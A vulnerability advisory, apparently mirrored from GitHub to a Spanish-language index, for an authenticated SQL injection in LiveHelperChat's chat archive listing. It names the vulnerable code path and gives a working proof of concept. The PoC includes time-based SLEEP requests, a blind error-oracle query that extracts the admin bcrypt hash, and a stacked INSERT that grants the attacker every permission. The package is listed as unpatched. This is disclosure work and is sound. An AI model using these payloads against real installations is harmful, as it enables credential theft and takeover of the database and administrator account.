GHSA-MHXJ-3VW8-CM6W
SQL injection in the chat archive listing via archive id path segment
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-MHXJ-3VW8-CM6W divulgada · CVSS 8.8 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
`modules/lhchatarchive/listarchivechats.php:26` builds the sort expression by concatenating the archive id from the URL path into a backtick quoted identifier:
$filterParams['filter']['sort'] = '`lh_chat_archive_' . $Params['user_parameters']['id'] . '` . `id` DESC';Two lines above, `$archive->setTables()` has already derived the correct table name from the loaded archive record (`erlhcoreclassmodelchatarchiverange.php:229`), so the safe value is in scope and unused. The same raw segment reaches five further identifier positions in the same file, on lines 19, 30 and 31.
The framework has a sort whitelist. `lib/core/lhcore/lhsearchhandler.php:512` assigns `$filter['sort']` from a fixed options map, and `lhchat/searchattr/chat_search.php:817-824` holds the six permitted columns. Line 26 runs afterwards and overwrites that assignment.
`ATTR_EMULATE_PREPARES` appears nowhere in the tree, so the PDO default applies and a statement separator executes a second statement.
Result: an operator holding the single `archive` permission reads every table in the database and writes to it, including a self-grant of all permissions.
Details
`listarchivechats.php:26` concatenates `$Params['user_parameters']['id']` into the `sort` filter value, and `lib/core/lhcore/lhdbtrait.php:306` passes it to `orderBy()` for the count query, `:373` and `:375` for the list query. `lib/core/lhcore/lhmodule.php:33` takes the path segment from `ezcUrl::getParam()` into `$Params['user_parameters']` with no cast and no validator. The product handles the same construct correctly next door: `modules/lhmailarchive/listarchivemails.php:26` and `:19` build the identical expressions from `Conversation::$dbTable` instead of the URL, and `modules/lhchatarchive/archivechats.php:11-13` declares the same id as an `int` with `min_range` 1.
Reachable with no configuration change, once an administrator has granted the permission. Reproduced on MariaDB 10.6.28 and on MySQL 5.7.44.
`lhchatarchive/archive` is not part of the Operators role the installer creates; the installer does not grant `chatarchive` at all. An account holding only it is refused on `user/userlist`, `permission/roles`, `system/configuration`, `chatarchive/configuration` and `chatarchive/newarchive`. Those refusals are HTTP 200 with a 6.2 kB denial page, not 403.
An archive range must already exist, and the attacker cannot create one: `chatarchive/newarchive` needs the `configuration` function he is refused. Its id is visible through `chatarchive/list`.
The self-grant takes effect only after a re-login, because the permission set is cached in the session.
Proof of concept
LiveHelperChat 4.94v (`d8787d04`), Docker, MariaDB 10.6.28, default configuration. Attacker is `vrfy_arch`, whose role holds exactly one `lh_rolefunction` row: `lhchatarchive` / `archive`.
- Dose-response through the path segment.
GET /index.php/site_admin/chatarchive/listarchivechats/1`.`id`%20DESC,%20(SELECT%20SLEEP(0))%20--%20a 200 0.045 s
GET /index.php/site_admin/chatarchive/listarchivechats/1`.`id`%20DESC,%20(SELECT%20SLEEP(3))%20--%20a 200 3.038 s
GET /index.php/site_admin/chatarchive/listarchivechats/1`.`id`%20DESC,%20(SELECT%20SLEEP(6))%20--%20a 200 6.040 sBaseline without a payload is 0.037 to 0.048 s.
- Blind extraction of a row the role reaches by no granted route, using an error oracle: `IF(<condition>, 1, (SELECT 1 UNION SELECT 2))` returns 200 when the condition holds and 503 when it does not.
... ORDER BY IF((SELECT ASCII(SUBSTR(password,N,1)) FROM lh_users WHERE id=1) > X, 1,
(SELECT 1 UNION SELECT 2)) -- a
14 characters in 92 requests, 16.1 s: admin:$2y$10$G
matches SELECT CONCAT(username,0x3a,password) FROM lh_users WHERE id=1 read directly.Each probe costs 20 to 40 ms of server time; a full hash needs roughly 430 requests.
- Stacked write. A separator in the identifier executes a second statement.
GET /index.php/site_admin/chatarchive/listarchivechats/1%60.%60id%60;%20INSERT%20INTO%20
lh_rolefunction%20(role_id,type,module,function,limitation)%20VALUES%20(4,0,'*','*','')%20--%20a
200 in 0.042 sAfter a re-login the same account reaches `/permission/roles`, `/user/userlist` and `/system/configuration`: the 6.2 kB denial page is replaced by full pages of 22 to 78 kB. A stacked `CREATE TABLE` and a stacked `DELETE` were also executed, and all writes were reverted.
Controls
- Payload without the backtick break-out: `503` in 0.021 s, no delay. `lh_audits` records `Unknown column 'lh_chat_archive_1 DESC, (SELECT SLEEP(3)) -- a.id' in 'ORDER BY'`.
- Anonymous: `302` to the login form in 0.006 s.
- Account in the stock Operators role: denial page in 0.009 s.
- Non-existent archive id 999: `503` in 0.026 s, because `setTables()` is called on a boolean before the sink is reached.
- Twenty probe requests leave row counts and table counts unchanged: reading through this endpoint destroys nothing.
Live-verified: the admin bcrypt hash prefix was extracted and matched against the column read directly, and a stacked write granted the attacker's role every module and function.
Impact
- Full read of the application database, including bcrypt password hashes and the SMTP credentials serialised in `lh_chat_config`.
- Arbitrary write through stacked statements, demonstrated as a self-grant of all modules and all functions, which yields administrator access after a re-login.
- Arbitrary deletion through the same primitive.
- The timing oracle and the stacked write leave no `lh_audits` row; only the error oracle does, and each of those rows carries the full SQL payload in cleartext.
Credit
Jan Kahmen, turingpoint https://www.turingpoint.de (jan@turingpoint.de)
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistremdex/livehelperchat |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/LiveHelperChat/livehelperchat/security/advisories/GHSA-mhxj-3vw8-cm6wLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
